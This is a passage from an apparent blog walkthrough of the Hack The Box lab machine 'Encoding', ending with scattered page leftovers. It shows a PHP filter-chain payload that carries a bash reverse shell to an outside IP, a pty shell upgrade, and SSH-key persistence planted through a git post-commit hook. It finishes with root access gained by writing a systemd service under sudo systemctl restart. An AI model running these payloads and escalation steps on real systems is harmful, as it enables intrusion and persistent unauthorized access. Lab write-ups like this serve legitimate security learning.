lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

Yes it did.

Foothold

We start by generating our php filter chain (we need to escape some special characters as we can see in the payload so this can work):

./php_filter_chain_generator.py --chain "<?php shell_exec('/bin/bash -c \'bash -i >& /dev/tcp/10.10.14.5/1337 0>&1\'')?>" | grep ^php | xclip -selection clipboard

We give the php chain to the page parameter:

{
        "action": "str2hex",
        "file_url": "image.haxtables.htb/actions/action_handler.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp"
}

We set a listener on port 1337:

nc -lvnp 80

And we send the request. BOOM we're in:

www-data@encoding:~/image/actions$

We need to upgrade our shell with the pty trick:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL^Z
stty raw -echo; fg

as we can see we our connected as www-data so we don't hvae that much privileges s let's escalate our privileges:

Privilege Escalation

SVC USER

sudo -l
(svc) NOPASSWD: /var/www/image/scripts/git-commit.sh

We can see that we can run this script as svc user. so let's take a look at it:

#!/bin/bash

u=$(/usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image ls-files  -o --exclude-standard)

if [[ $u ]]; then
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image add -A
else
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>"  --no-verify
fi

long story short, we need make to changes at /var/www/image so we can reach the commit. But the problem is we don't have write permission on /var/www/image.

So the trick is:

git --work-tree /etc add /etc/hostname

This command attempts to add the file /etc/hostname to the Git staging area, assuming that /etc is the root of the Git repository. The --work-tree option specifies the working directory of the Git repository, which is /etc in this case.

let's try that:

www-data@encoding:~/image$ git status
On branch master
nothing to commit, working tree clean
www-data@encoding:~/image$ git --work-tree /etc add /etc/hostname
www-data@encoding:~/image$ git status
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   hostname

Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    hostname

OK we did that but how we can escalate our privilege? that's where this directory ./.git/hooks

comes to place what are hooks:

.git/hooks is a directory in a Git repository that contains scripts that are executed automatically by Git when certain events occur. These scripts are commonly referred to as "hooks" and are used to automate tasks such as running tests, checking code formatting, and notifying team members of changes.

if we take a look:

www-data@encoding:~/image/.git/hooks$ ls
applypatch-msg.sample      pre-commit.sample        prepare-commit-msg.sample
commit-msg.sample          pre-merge-commit.sample  push-to-checkout.sample
fsmonitor-watchman.sample  pre-push.sample          update.sample
post-update.sample         pre-rebase.sample
pre-applypatch.sample      pre-receive.sample

so if we can change any of those should work right? No it doesn't go that way. Because those are runned only when certain functions are called but in our script we worked only with commit and add and since add doesn't have a hook we will work with commit. We can see the pre-commit.sample that will not work also because we have this argument --no-verify on the commit whch skips any pre-commit hooks that may be configured in the repository. So the plan is to create our post-commit.sample. First copy the body of pre-commit to post-commit:

cp pre-commit.sample post-commit.sample

The plan is to create an ssh key at /home/svc/.ssh/authorized_keys so we can ssh to the box.

First let's create our key:

ssh-keygen -t ed25519 -f svc

now we have 2 keys svc (private key) & svc.pub (public key). We are goign to store the public in this file /home/svc/.ssh/authorized_keys and ssh to the box as svc.

post-commit.sample

#!/bin/sh
#
# An example hook script to verify what is about to be committed.
# Called by "git commit" with no arguments.  The hook should
# exit with non-zero status after issuing an appropriate message if
# it wants to stop the commit.
#
# To enable this hook, rename this file to "post-commit".

#!/bin/bash

mkdir -p /home/svc/.ssh
chmod 700 /home/svc/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICcnY8SThLpS8uhLRMHYPs1/huUQffEikeiatDfpucTX ichyaboy@ichyaboy' > /home/svc/.ssh/authorized_keys
chmod 600 /home/svc/.ssh/authorized_keys

now we need to remove the .sample part and set it as executable:

chmod +x post-commit
let's try and run /var/www/image/scripts/git-commit.sh as svc
sudo -u svc /var/www/image/scripts/git-commit.sh
www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh
On branch master
nothing to commit, working tree clean

So we do the changes on the repo as we did before with(why we are repeating this is because there is a cron which reset everything, you will notice while doing the machine):

git --work-tree /etc add /etc/hostname
www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh
[master 2caca42] Commited from API!
 1 file changed, 1 insertion(+)
 create mode 100644 hostname

It worked so let's try and ssh with the private key:

ssh -i svc svc@10.10.11.198
svc@encoding:~$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc@encoding:~$ 
svc@encoding:~$ ls
user.txt
svc@encoding:~$ cat user.txt 
******************************c5

ROOT:

sudo -l
(root) NOPASSWD: /usr/bin/systemctl restart *

As we can see we can restart any service managed by systemd that's what systemctl command do. So let's check if we can write a service:

svc@encoding:/etc/systemd$ find . -writable
./user/session-migration.service
./system

it seems we have write permission on this both directories

svc@encoding:/etc/systemd$ getfacl system                                                                                                                                                           
# file: system                                                                                                                                                                                      
# owner: root                                                                                                                                                                                       
# group: root                                                                                                                                                                                       
user::rwx                                                                                                                                                                                           
user:svc:-wx                                                                                                                                                                                        
group::rwx                                                                                                                                                                                          
mask::rwx
other::r-x

We have only write and execute permission on system so we can't read its content. But as www-data we have read and execute so let's check it:

www-data@encoding:/etc/systemd/system$ ls
cloud-final.service.wants                   display-manager.service.wants  multi-user.target.wants         rescue.target.wants     snap-snapd-17336.mount            sshd-keygen@.service.d
cloud-init.target.wants                     emergency.target.wants         multipath-tools.service         sleep.target.wants      snap.lxd.activate.service         sshd.service
dbus-org.freedesktop.ModemManager1.service  final.target.wants             network-online.target.wants     snap-core20-1634.mount  snap.lxd.daemon.service           sudo.service
dbus-org.freedesktop.resolve1.service       getty.target.wants             oem-config.service.wants        snap-core20-1695.mount  snap.lxd.daemon.unix.socket       sysinit.target.wants
dbus-org.freedesktop.thermald.service       graphical.target.wants         open-vm-tools.service.requires  snap-lxd-22923.mount    snap.lxd.user-daemon.service      syslog.service
dbus-org.freedesktop.timesync1.service      iscsi.service                  paths.target.wants              snap-lxd-23541.mount    snap.lxd.user-daemon.unix.socket  timers.target.wants
default.target.wants                        mdmonitor.service.wants        pm2-root.service                snap-snapd-16010.mount  sockets.target.wants              vmtoolsd.service
[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target

so let's create our service in /etc/systemd/system directory:

[Service]
Type=oneshot
ExecStart=/bin/sh -c "echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICcnY8SThLpS8uhLRMHYPs1/huUQffEikeiatDfpucTX ichyaboy@ichyaboy >> /root/.ssh/authorized_keys"
[Install]
WantedBy=multi-user.target

We are inserting the public key we ade into the root ssh authorized_keys so we can ssh as root

svc@encoding:/etc/systemd/system$ nano privesc.service
svc@encoding:/etc/systemd/system$ chmod +x privesc.service
svc@encoding:/etc/systemd/system$ sudo /usr/bin/systemctl restart privesc
svc@encoding:/etc/systemd/system$ 

it did work let't try and ssh as root:

ssh -i svc root@10.10.11.198
root@encoding:~# ls
root.txt  scripts
root@encoding:~# cat root.txt 
******************************8b
root@encoding:~# 

And we finally rooted the machine.

I hope this walkthrough was helpful. I tried to explain as much as i can so everyone can understand what i'm doing step by step.

PreviousTalkativeNextWindows based machines

Last updated 1 year ago

OK what's next?. We should see what is in inside of /var/www/image to see that i'm going to write a script that does the job for me. By the way i watched both Ippsec and 0xdf build a flask server to play the role of an intermediate and that was very helpful since it's my first flask server app check em & . But i wanted to build something similar in functionally but with my own touch so here it is :

So now we can work with any of the 2 methods to get a reverse shell. Luckily there is . In this step we will need to generate our exploit chain.

We have found services and different types of files. As we said we are interested in services only so we can modify or create our own servie. So let's create our own service instead of changing an old service because that may affect the behaviour of the machine. By going to and searching for systemctl we can see that we can create a service by simply doing this:

Ippsec's Video
0xdf's
PHP filters chain
php_filter_chain_generator.py
GTFOBins
🎰
Page cover image